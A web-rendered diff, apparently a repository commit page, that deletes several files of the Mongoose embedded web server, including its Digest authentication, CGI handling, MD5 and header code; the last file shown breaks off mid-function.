Width:  |  Height:  |  Size: 743 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 872 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.5 KiB

-1
View File
@@ -1 +0,0 @@
100 ICON DISCARDABLE "systray.ico"
-140456
View File
File diff suppressed because it is too large. Load diff
-7245
View File
File diff suppressed because it is too large. Load diff
-301
View File
@@ -1,301 +0,0 @@
#include "internal.h"
// Stringify binary data. Output buffer must be twice as big as input,
// because each byte takes 2 bytes in string representation
static void bin2str(char *to, const unsigned char *p, size_t len) {
static const char *hex = "0123456789abcdef";
for (; len--; p++) {
*to++ = hex[p[0] >> 4];
*to++ = hex[p[0] & 0x0f];
}
*to = '\0';
}
// Return stringified MD5 hash for list of strings. Buffer must be 33 bytes.
char *mg_md5(char buf[33], ...) {
unsigned char hash[16];
const char *p;
va_list ap;
MD5_CTX ctx;
MD5Init(&ctx);
va_start(ap, buf);
while ((p = va_arg(ap, const char *)) != NULL) {
MD5Update(&ctx, (const unsigned char *) p, (unsigned) strlen(p));
}
va_end(ap);
MD5Final(hash, &ctx);
bin2str(buf, hash, sizeof(hash));
return buf;
}
// Check the user's password, return 1 if OK
static int check_password(const char *method, const char *ha1, const char *uri,
const char *nonce, const char *nc, const char *cnonce,
const char *qop, const char *response) {
char ha2[32 + 1], expected_response[32 + 1];
// Some of the parameters may be NULL
if (method == NULL || nonce == NULL || nc == NULL || cnonce == NULL ||
qop == NULL || response == NULL) {
return 0;
}
// NOTE(lsm): due to a bug in MSIE, we do not compare the URI
// TODO(lsm): check for authentication timeout
if (// strcmp(dig->uri, c->ouri) != 0 ||
strlen(response) != 32
// || now - strtoul(dig->nonce, NULL, 10) > 3600
) {
return 0;
}
mg_md5(ha2, method, ":", uri, NULL);
mg_md5(expected_response, ha1, ":", nonce, ":", nc,
":", cnonce, ":", qop, ":", ha2, NULL);
return mg_strcasecmp(response, expected_response) == 0;
}
// Use the global passwords file, if specified by auth_gpass option,
// or search for .htpasswd in the requested directory.
static FILE *open_auth_file(struct mg_connection *conn, const char *path) {
char name[PATH_MAX];
const char *p, *e, *gpass = conn->ctx->config[GLOBAL_PASSWORDS_FILE];
struct file file = STRUCT_FILE_INITIALIZER;
FILE *fp = NULL;
if (gpass != NULL) {
// Use global passwords file
fp = mg_fopen(gpass, "r");
// Important: using local struct file to test path for is_directory flag.
// If filep is used, mg_stat() makes it appear as if auth file was opened.
} else if (mg_stat(path, &file) && file.is_directory) {
mg_snprintf(name, sizeof(name), "%s%c%s",
path, '/', PASSWORDS_FILE_NAME);
fp = mg_fopen(name, "r");
} else {
// Try to find .htpasswd in requested directory.
for (p = path, e = p + strlen(p) - 1; e > p; e--)
if (e[0] == '/')
break;
mg_snprintf(name, sizeof(name), "%.*s%c%s",
(int) (e - p), p, '/', PASSWORDS_FILE_NAME);
fp = mg_fopen(name, "r");
}
return fp;
}
// Parsed Authorization header
struct ah {
char *user, *uri, *cnonce, *response, *qop, *nc, *nonce;
};
// Return 1 on success. Always initializes the ah structure.
static int parse_auth_header(struct mg_connection *conn, char *buf,
size_t buf_size, struct ah *ah) {
char *name, *value, *s;
const char *auth_header;
(void) memset(ah, 0, sizeof(*ah));
if ((auth_header = mg_get_header(conn, "Authorization")) == NULL ||
mg_strncasecmp(auth_header, "Digest ", 7) != 0) {
return 0;
}
// Make modifiable copy of the auth header
(void) mg_strlcpy(buf, auth_header + 7, buf_size);
s = buf;
// Parse authorization header
for (;;) {
// Gobble initial spaces
while (isspace(* (unsigned char *) s)) {
s++;
}
name = skip_quoted(&s, "=", " ", 0);
// Value is either quote-delimited, or ends at first comma or space.
if (s[0] == '\"') {
s++;
value = skip_quoted(&s, "\"", " ", '\\');
if (s[0] == ',') {
s++;
}
} else {
value = skip_quoted(&s, ", ", " ", 0); // IE uses commas, FF uses spaces
}
if (*name == '\0') {
break;
}
if (!strcmp(name, "username")) {
ah->user = value;
} else if (!strcmp(name, "cnonce")) {
ah->cnonce = value;
} else if (!strcmp(name, "response")) {
ah->response = value;
} else if (!strcmp(name, "uri")) {
ah->uri = value;
} else if (!strcmp(name, "qop")) {
ah->qop = value;
} else if (!strcmp(name, "nc")) {
ah->nc = value;
} else if (!strcmp(name, "nonce")) {
ah->nonce = value;
}
}
// CGI needs it as REMOTE_USER
if (ah->user != NULL) {
conn->request_info.remote_user = mg_strdup(ah->user);
} else {
return 0;
}
return 1;
}
// Authorize against the opened passwords file. Return 1 if authorized.
static int authorize(struct mg_connection *conn, FILE *fp) {
struct ah ah;
char line[256], f_user[256], ha1[256], f_domain[256], buf[MG_BUF_LEN];
if (!parse_auth_header(conn, buf, sizeof(buf), &ah)) {
return 0;
}
// Loop over passwords file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%s", f_user, f_domain, ha1) != 3) {
continue;
}
if (!strcmp(ah.user, f_user) &&
!strcmp(conn->ctx->config[AUTHENTICATION_DOMAIN], f_domain))
return check_password(conn->request_info.request_method, ha1, ah.uri,
ah.nonce, ah.nc, ah.cnonce, ah.qop, ah.response);
}
return 0;
}
// Return 1 if request is authorised, 0 otherwise.
static int check_authorization(struct mg_connection *conn, const char *path) {
char fname[PATH_MAX];
struct vec uri_vec, filename_vec;
const char *list;
FILE *fp = NULL;
int authorized = 1;
list = conn->ctx->config[PROTECT_URI];
while ((list = next_option(list, &uri_vec, &filename_vec)) != NULL) {
if (!memcmp(conn->request_info.uri, uri_vec.ptr, uri_vec.len)) {
mg_snprintf(fname, sizeof(fname), "%.*s",
(int) filename_vec.len, filename_vec.ptr);
fp = mg_fopen(fname, "r");
break;
}
}
if (fp == NULL) {
fp = open_auth_file(conn, path);
}
if (fp != NULL) {
authorized = authorize(conn, fp);
fclose(fp);
}
return authorized;
}
static void send_authorization_request(struct mg_connection *conn) {
conn->status_code = 401;
mg_printf(conn,
"HTTP/1.1 401 Unauthorized\r\n"
"Content-Length: 0\r\n"
"WWW-Authenticate: Digest qop=\"auth\", "
"realm=\"%s\", nonce=\"%lu\"\r\n\r\n",
conn->ctx->config[AUTHENTICATION_DOMAIN],
(unsigned long) time(NULL));
}
static int is_authorized_for_put(struct mg_connection *conn) {
const char *passfile = conn->ctx->config[PUT_DELETE_PASSWORDS_FILE];
FILE *fp;
int ret = 0;
if (passfile != NULL && (fp = mg_fopen(passfile, "r")) != NULL) {
ret = authorize(conn, fp);
fclose(fp);
}
return ret;
}
int mg_modify_passwords_file(const char *fname, const char *domain,
const char *user, const char *pass) {
int found;
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
FILE *fp, *fp2;
found = 0;
fp = fp2 = NULL;
// Regard empty password as no password - remove user record.
if (pass != NULL && pass[0] == '\0') {
pass = NULL;
}
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
// Create the file if does not exist
if ((fp = fopen(fname, "a+")) != NULL) {
fclose(fp);
}
// Open the given file and temporary file
if ((fp = fopen(fname, "r")) == NULL) {
return 0;
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
fclose(fp);
return 0;
}
// Copy the stuff to temporary file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
continue;
}
if (!strcmp(u, user) && !strcmp(d, domain)) {
found++;
if (pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
} else {
fprintf(fp2, "%s", line);
}
}
// If new user, just add it
if (!found && pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
// Close files
fclose(fp);
fclose(fp2);
// Put the temp file in place of real file
remove(fname);
rename(tmp, fname);
return 1;
}
-384
View File
@@ -1,384 +0,0 @@
#include "internal.h"
static int forward_body_data(struct mg_connection *conn, FILE *fp,
SOCKET sock, SSL *ssl) {
const char *expect, *body;
char buf[MG_BUF_LEN];
int nread, buffered_len, success = 0;
int64_t left;
expect = mg_get_header(conn, "Expect");
assert(fp != NULL);
if (conn->content_len == INT64_MAX) {
send_http_error(conn, 411, "Length Required", "%s", "");
} else if (expect != NULL && mg_strcasecmp(expect, "100-continue")) {
send_http_error(conn, 417, "Expectation Failed", "%s", "");
} else {
if (expect != NULL) {
(void) mg_printf(conn, "%s", "HTTP/1.1 100 Continue\r\n\r\n");
}
buffered_len = conn->data_len - conn->request_len;
body = conn->buf + conn->request_len;
assert(buffered_len >= 0);
if (buffered_len > 0) {
if ((int64_t) buffered_len > conn->content_len) {
buffered_len = (int) conn->content_len;
}
push(fp, sock, ssl, body, (int64_t) buffered_len);
memmove((char *) body, body + buffered_len, buffered_len);
conn->data_len -= buffered_len;
}
nread = 0;
while (conn->num_bytes_read < conn->content_len + conn->request_len) {
left = left_to_read(conn);
if (left > (int64_t) sizeof(buf)) {
left = sizeof(buf);
}
nread = pull(NULL, conn, buf, (int) left);
if (nread <= 0 || push(fp, sock, ssl, buf, nread) != nread) {
break;
}
}
if (left_to_read(conn) == 0) {
success = nread >= 0;
}
// Each error code path in this function must send an error
if (!success) {
send_http_error(conn, 577, http_500_error, "%s", "");
}
}
return success;
}
#if !defined(NO_CGI)
// This structure helps to create an environment for the spawned CGI program.
// Environment is an array of "VARIABLE=VALUE\0" ASCIIZ strings,
// last element must be NULL.
// However, on Windows there is a requirement that all these VARIABLE=VALUE\0
// strings must reside in a contiguous buffer. The end of the buffer is
// marked by two '\0' characters.
// We satisfy both worlds: we create an envp array (which is vars), all
// entries are actually pointers inside buf.
struct cgi_env_block {
struct mg_connection *conn;
char buf[CGI_ENVIRONMENT_SIZE]; // Environment buffer
int len; // Space taken
char *vars[MAX_CGI_ENVIR_VARS]; // char **envp
int nvars; // Number of variables
};
static char *addenv(struct cgi_env_block *block,
PRINTF_FORMAT_STRING(const char *fmt), ...)
PRINTF_ARGS(2, 3);
// Append VARIABLE=VALUE\0 string to the buffer, and add a respective
// pointer into the vars array.
static char *addenv(struct cgi_env_block *block, const char *fmt, ...) {
int n, space;
char *added;
va_list ap;
// Calculate how much space is left in the buffer
space = sizeof(block->buf) - block->len - 2;
assert(space >= 0);
// Make a pointer to the free space int the buffer
added = block->buf + block->len;
// Copy VARIABLE=VALUE\0 string into the free space
va_start(ap, fmt);
n = mg_vsnprintf(added, (size_t) space, fmt, ap);
va_end(ap);
// Make sure we do not overflow buffer and the envp array
if (n > 0 && n + 1 < space &&
block->nvars < (int) ARRAY_SIZE(block->vars) - 2) {
// Append a pointer to the added string into the envp array
block->vars[block->nvars++] = added;
// Bump up used length counter. Include \0 terminator
block->len += n + 1;
} else {
cry(block->conn, "%s: CGI env buffer truncated for [%s]", __func__, fmt);
}
return added;
}
static void prepare_cgi_environment(struct mg_connection *conn,
const char *prog,
struct cgi_env_block *blk) {
const struct mg_request_info *ri = &conn->request_info;
const char *s, *slash;
struct vec var_vec;
char *p, src_addr[IP_ADDR_STR_LEN];
int i;
blk->len = blk->nvars = 0;
blk->conn = conn;
sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
addenv(blk, "SERVER_NAME=%s", conn->ctx->config[AUTHENTICATION_DOMAIN]);
addenv(blk, "SERVER_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
addenv(blk, "DOCUMENT_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
addenv(blk, "SERVER_SOFTWARE=%s/%s", "Mongoose", mg_version());
// Prepare the environment block
addenv(blk, "%s", "GATEWAY_INTERFACE=CGI/1.1");
addenv(blk, "%s", "SERVER_PROTOCOL=HTTP/1.1");
addenv(blk, "%s", "REDIRECT_STATUS=200"); // For PHP
// TODO(lsm): fix this for IPv6 case
addenv(blk, "SERVER_PORT=%d", ntohs(conn->client.lsa.sin.sin_port));
addenv(blk, "REQUEST_METHOD=%s", ri->request_method);
addenv(blk, "REMOTE_ADDR=%s", src_addr);
addenv(blk, "REMOTE_PORT=%d", ri->remote_port);
addenv(blk, "REQUEST_URI=%s%s%s", ri->uri,
ri->query_string == NULL ? "" : "?",
ri->query_string == NULL ? "" : ri->query_string);
// SCRIPT_NAME
if (conn->path_info != NULL) {
addenv(blk, "SCRIPT_NAME=%.*s",
(int) (strlen(ri->uri) - strlen(conn->path_info)), ri->uri);
addenv(blk, "PATH_INFO=%s", conn->path_info);
} else {
s = strrchr(prog, '/');
slash = strrchr(ri->uri, '/');
addenv(blk, "SCRIPT_NAME=%.*s%s",
slash == NULL ? 0 : (int) (slash - ri->uri), ri->uri,
s == NULL ? prog : s);
}
addenv(blk, "SCRIPT_FILENAME=%s", prog);
addenv(blk, "PATH_TRANSLATED=%s", prog);
addenv(blk, "HTTPS=%s", conn->ssl == NULL ? "off" : "on");
if ((s = mg_get_header(conn, "Content-Type")) != NULL)
addenv(blk, "CONTENT_TYPE=%s", s);
if (ri->query_string != NULL) {
addenv(blk, "QUERY_STRING=%s", ri->query_string);
}
if ((s = mg_get_header(conn, "Content-Length")) != NULL)
addenv(blk, "CONTENT_LENGTH=%s", s);
if ((s = getenv("PATH")) != NULL)
addenv(blk, "PATH=%s", s);
#if defined(_WIN32)
if ((s = getenv("COMSPEC")) != NULL) {
addenv(blk, "COMSPEC=%s", s);
}
if ((s = getenv("SYSTEMROOT")) != NULL) {
addenv(blk, "SYSTEMROOT=%s", s);
}
if ((s = getenv("SystemDrive")) != NULL) {
addenv(blk, "SystemDrive=%s", s);
}
if ((s = getenv("ProgramFiles")) != NULL) {
addenv(blk, "ProgramFiles=%s", s);
}
if ((s = getenv("ProgramFiles(x86)")) != NULL) {
addenv(blk, "ProgramFiles(x86)=%s", s);
}
if ((s = getenv("CommonProgramFiles(x86)")) != NULL) {
addenv(blk, "CommonProgramFiles(x86)=%s", s);
}
#else
if ((s = getenv("LD_LIBRARY_PATH")) != NULL)
addenv(blk, "LD_LIBRARY_PATH=%s", s);
#endif // _WIN32
if ((s = getenv("PERLLIB")) != NULL)
addenv(blk, "PERLLIB=%s", s);
if (ri->remote_user != NULL) {
addenv(blk, "REMOTE_USER=%s", ri->remote_user);
addenv(blk, "%s", "AUTH_TYPE=Digest");
}
// Add all headers as HTTP_* variables
for (i = 0; i < ri->num_headers; i++) {
p = addenv(blk, "HTTP_%s=%s",
ri->http_headers[i].name, ri->http_headers[i].value);
// Convert variable name into uppercase, and change - to _
for (; *p != '=' && *p != '\0'; p++) {
if (*p == '-')
*p = '_';
*p = (char) toupper(* (unsigned char *) p);
}
}
// Add user-specified variables
s = conn->ctx->config[CGI_ENVIRONMENT];
while ((s = next_option(s, &var_vec, NULL)) != NULL) {
addenv(blk, "%.*s", (int) var_vec.len, var_vec.ptr);
}
blk->vars[blk->nvars++] = NULL;
blk->buf[blk->len++] = '\0';
assert(blk->nvars < (int) ARRAY_SIZE(blk->vars));
assert(blk->len > 0);
assert(blk->len < (int) sizeof(blk->buf));
}
static void handle_cgi_request(struct mg_connection *conn, const char *prog) {
int headers_len, data_len, i, fdin[2] = {-1, -1}, fdout[2] = {-1, -1};
const char *status, *status_text;
char buf[16384], *pbuf, dir[PATH_MAX], *p;
struct mg_request_info ri;
struct cgi_env_block blk;
FILE *in = NULL, *out = NULL;
pid_t pid = (pid_t) -1;
memset(&ri, 0, sizeof(ri));
prepare_cgi_environment(conn, prog, &blk);
// CGI must be executed in its own directory. 'dir' must point to the
// directory containing executable program, 'p' must point to the
// executable program name relative to 'dir'.
(void) mg_snprintf(dir, sizeof(dir), "%s", prog);
if ((p = strrchr(dir, '/')) != NULL) {
*p++ = '\0';
} else {
dir[0] = '.', dir[1] = '\0';
p = (char *) prog;
}
if (pipe(fdin) != 0 || pipe(fdout) != 0) {
send_http_error(conn, 500, http_500_error,
"Cannot create CGI pipe: %s", strerror(ERRNO));
goto done;
}
pid = spawn_process(conn, p, blk.buf, blk.vars, fdin[0], fdout[1], dir);
if (pid == (pid_t) -1) {
send_http_error(conn, 500, http_500_error,
"Cannot spawn CGI process [%s]: %s", prog, strerror(ERRNO));
goto done;
}
// Make sure child closes all pipe descriptors. It must dup them to 0,1
set_close_on_exec(fdin[0]);
set_close_on_exec(fdin[1]);
set_close_on_exec(fdout[0]);
set_close_on_exec(fdout[1]);
// Parent closes only one side of the pipes.
// If we don't mark them as closed, close() attempt before
// return from this function throws an exception on Windows.
// Windows does not like when closed descriptor is closed again.
(void) close(fdin[0]);
(void) close(fdout[1]);
fdin[0] = fdout[1] = -1;
if ((in = fdopen(fdin[1], "wb")) == NULL ||
(out = fdopen(fdout[0], "rb")) == NULL) {
send_http_error(conn, 500, http_500_error,
"fopen: %s", strerror(ERRNO));
goto done;
}
setbuf(in, NULL);
setbuf(out, NULL);
// Send POST data to the CGI process if needed
if (!strcmp(conn->request_info.request_method, "POST") &&
!forward_body_data(conn, in, INVALID_SOCKET, NULL)) {
goto done;
}
// Close so child gets an EOF.
fclose(in);
in = NULL;
fdin[1] = -1;
// Now read CGI reply into a buffer. We need to set correct
// status code, thus we need to see all HTTP headers first.
// Do not send anything back to client, until we buffer in all
// HTTP headers.
data_len = 0;
headers_len = read_request(out, conn, buf, sizeof(buf), &data_len);
if (headers_len <= 0) {
send_http_error(conn, 500, http_500_error,
"CGI program sent malformed or too big (>%u bytes) "
"HTTP headers: [%.*s]",
(unsigned) sizeof(buf), data_len, buf);
goto done;
}
pbuf = buf;
buf[headers_len - 1] = '\0';
parse_http_headers(&pbuf, &ri);
// Make up and send the status line
status_text = "OK";
if ((status = get_header(&ri, "Status")) != NULL) {
conn->status_code = atoi(status);
status_text = status;
while (isdigit(* (unsigned char *) status_text) || *status_text == ' ') {
status_text++;
}
} else if (get_header(&ri, "Location") != NULL) {
conn->status_code = 302;
} else {
conn->status_code = 200;
}
if (get_header(&ri, "Connection") != NULL &&
!mg_strcasecmp(get_header(&ri, "Connection"), "keep-alive")) {
conn->must_close = 1;
}
(void) mg_printf(conn, "HTTP/1.1 %d %s\r\n", conn->status_code,
status_text);
// Send headers
for (i = 0; i < ri.num_headers; i++) {
mg_printf(conn, "%s: %s\r\n",
ri.http_headers[i].name, ri.http_headers[i].value);
}
mg_write(conn, "\r\n", 2);
// Send chunk of data that may have been read after the headers
conn->num_bytes_sent += mg_write(conn, buf + headers_len,
(size_t)(data_len - headers_len));
// Read the rest of CGI output and send to the client
send_file_data(conn, out, 0, INT64_MAX);
done:
if (pid != (pid_t) -1) {
kill(pid, SIGKILL);
}
if (fdin[0] != -1) {
close(fdin[0]);
}
if (fdout[1] != -1) {
close(fdout[1]);
}
if (in != NULL) {
fclose(in);
} else if (fdin[1] != -1) {
close(fdin[1]);
}
if (out != NULL) {
fclose(out);
} else if (fdout[0] != -1) {
close(fdout[0]);
}
}
#endif // !NO_CGI
-2832
View File
File diff suppressed because it is too large. Load diff
-91
View File
@@ -1,91 +0,0 @@
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited
// All rights reserved
//
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>.
//
// NOTE: Detailed API documentation is at http://cesanta.com/docs.html
#ifndef MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_HEADER_INCLUDED
#include <stdio.h> // required for FILE
#include <stddef.h> // required for size_t
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
// This structure contains information about HTTP request.
struct mg_connection {
const char *request_method; // "GET", "POST", etc
const char *uri; // URL-decoded URI
const char *http_version; // E.g. "1.0", "1.1"
const char *query_string; // URL part after '?', not including '?', or NULL
char remote_ip[48]; // Max IPv6 string length is 45 characters
int remote_port; // Client's port
int num_headers; // Number of HTTP headers
struct mg_header {
const char *name; // HTTP header name
const char *value; // HTTP header value
} http_headers[30];
char *content; // POST (or websocket message) data, or NULL
int content_len; // content length
int is_websocket; // Connection is a websocket connection
int status_code; // HTTP status code for HTTP error handler
unsigned char wsbits; // First byte of the websocket frame
void *server_param; // Parameter passed to mg_add_uri_handler()
void *connection_param; // Placeholder for connection-specific data
};
struct mg_server; // Opaque structure describing server instance
typedef int (*mg_handler_t)(struct mg_connection *);
// Server management functions
struct mg_server *mg_create_server(void *server_param);
void mg_destroy_server(struct mg_server **);
const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
void mg_poll_server(struct mg_server *, int milliseconds);
void mg_add_uri_handler(struct mg_server *, const char *uri, mg_handler_t);
void mg_set_error_handler(struct mg_server *, mg_handler_t);
void mg_set_log_handler(struct mg_server*, mg_handler_t);
const char **mg_get_valid_option_names(void);
const char *mg_get_option(const struct mg_server *server, const char *name);
int mg_iterate_over_connections(struct mg_server *,
void (*func)(struct mg_connection *, void *),
void *param);
// Connection management functions
int mg_write(struct mg_connection *, const void *buf, int len);
int mg_websocket_write(struct mg_connection *, int opcode,
const char *data, size_t data_len);
const char *mg_get_header(const struct mg_connection *, const char *name);
const char *mg_get_mime_type(const char *file_name);
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
// Utility functions
int mg_start_thread(void *(*func)(void *), void *param);
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // MONGOOSE_HEADER_INCLUDED
-196
View File
@@ -1,196 +0,0 @@
static int is_big_endian(void) {
static const int n = 1;
return ((char *) &n)[0] == 0;
}
#ifndef HAVE_MD5
typedef struct MD5Context {
uint32_t buf[4];
uint32_t bits[2];
unsigned char in[64];
} MD5_CTX;
static void byteReverse(unsigned char *buf, unsigned longs) {
uint32_t t;
// Forrest: MD5 expect LITTLE_ENDIAN, swap if BIG_ENDIAN
if (is_big_endian()) {
do {
t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
((unsigned) buf[1] << 8 | buf[0]);
* (uint32_t *) buf = t;
buf += 4;
} while (--longs);
}
}
#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))
#define MD5STEP(f, w, x, y, z, data, s) \
( w += f(x, y, z) + data, w = w<<s | w>>(32-s), w += x )
// Start MD5 accumulation. Set bit count to 0 and buffer to mysterious
// initialization constants.
static void MD5Init(MD5_CTX *ctx) {
ctx->buf[0] = 0x67452301;
ctx->buf[1] = 0xefcdab89;
ctx->buf[2] = 0x98badcfe;
ctx->buf[3] = 0x10325476;
ctx->bits[0] = 0;
ctx->bits[1] = 0;
}
static void MD5Transform(uint32_t buf[4], uint32_t const in[16]) {
register uint32_t a, b, c, d;
a = buf[0];
b = buf[1];
c = buf[2];
d = buf[3];
MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}
static void MD5Update(MD5_CTX *ctx, unsigned char const *buf, unsigned len) {
uint32_t t;
t = ctx->bits[0];
if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t)
ctx->bits[1]++;
ctx->bits[1] += len >> 29;
t = (t >> 3) & 0x3f;
if (t) {
unsigned char *p = (unsigned char *) ctx->in + t;
t = 64 - t;
if (len < t) {
memcpy(p, buf, len);
return;
}
memcpy(p, buf, t);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += t;
len -= t;
}
while (len >= 64) {
memcpy(ctx->in, buf, 64);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
buf += 64;
len -= 64;
}
memcpy(ctx->in, buf, len);
}
static void MD5Final(unsigned char digest[16], MD5_CTX *ctx) {
unsigned count;
unsigned char *p;
uint32_t *a;
count = (ctx->bits[0] >> 3) & 0x3F;
p = ctx->in + count;
*p++ = 0x80;
count = 64 - 1 - count;
if (count < 8) {
memset(p, 0, count);
byteReverse(ctx->in, 16);
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
memset(ctx->in, 0, 56);
} else {
memset(p, 0, count - 8);
}
byteReverse(ctx->in, 14);
a = (uint32_t *)ctx->in;
a[14] = ctx->bits[0];
a[15] = ctx->bits[1];
MD5Transform(ctx->buf, (uint32_t *) ctx->in);
byteReverse((unsigned char *) ctx->buf, 4);
memcpy(digest, ctx->buf, 16);
memset((char *) ctx, 0, sizeof(*ctx));
}
#endif // !HAVE_MD5
-271
View File
@@ -1,271 +0,0 @@
#include "internal.h"
static void print_dir_entry(const struct de *de) {
char size[64], mod[64], href[PATH_MAX * 3];
const char *slash = de->file.is_directory ? "/" : "";
if (de->file.is_directory) {
